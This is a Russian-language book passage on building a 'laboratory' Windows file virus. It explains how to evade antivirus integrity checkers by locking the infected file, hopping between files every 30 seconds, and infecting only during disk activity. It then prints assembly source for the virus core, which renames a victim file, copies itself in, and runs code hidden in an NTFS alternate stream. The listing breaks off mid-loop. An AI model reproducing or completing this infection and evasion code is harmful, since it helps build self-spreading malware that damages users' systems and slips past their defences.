Теперь настал момент поговорить об антивирусных ревизорах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусных программ. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а, значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile
со сброшенным флагом dwShareMode
до LockFile
/LockFileEx
. Подробнее об этом можно прочитать в Platform SDK.
Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не сотрет. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, шансы на его обнаружение стремительно уменьшаются.
Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания — тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить. Например, можно вести мониторинг дисковой активности, осуществляя заражение только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет файловый монитор (Filemon.exe) Марка Руссиновича (http://www.systeminternals.com). Эта утилита поставляется с исходным кодом, который легко доработать под любые потребности.
Естественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком они неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера.
В листинге 6.5 приведен исходный код ключевого фрагмента вируса с комментариями.
Листинг 6.5. Исходный код ключевого фрагмента лабораторного вируса
section '.code' code readable executable
start:
; Удаляем временный файл
push foo
call [DeleteFile]
; Определяем наше имя
push 1000
push buf
push 0
call [GetModuleFileName]
; Считываем командную строку
; Ключ filename - заразить
call [GetCommandLine]
mov ebp, eax
xor ebx, ebx
mov ecx, 202A2D2Dh ;
rool:
cmp [eax], ecx ; это '--*'?
jz infect
inc eax
cmp [eax], ebx ; Конец командной строки?
jnz rool
; Выводим диагностическое сообщение,
; подтверждая свое присутствие в файле
push 0
push aInfected
push aHello
push 0
call [MessageBox]
; Добавляем к своему имени имя потока NTFS
mov esi, code_name
mov edi, buf
mov ecx, 100; сode_name_end - code_name
xor eax,eax
repne scasb
dec edi
rep movsb
; Запускаем поток NTFS на выполнение
push xxx
push xxx
push eax
push eax
push eax
push eax
push eax
push eax
push ebp
push buf
call [CreateProcess]
jmp go2exit ; Выходим из вируса
infect:
; Устанавливаем eax на первый символ имени файла-жертвы
; (далее по тексту dst)
add eax, 4
xchg eax, ebp
xor eax,eax
inc eax
; Здесь можно вставить проверку dst на заражение
; Переименовываем dst в foo
push foo
push ebp
call [RenameFile]
; Копируем в foo основной поток dst
push eax
push ebp
push buf
call [CopyFile]
; Добавляем к своему имени имя потока NTFS
mov esi, ebp
mov edi, buf
copy_rool:
lodsb
stosb
test al,al
jnz copy_rool
mov esi, code_name
dec edi
copy_rool2:
lodsb
stosb
test al,al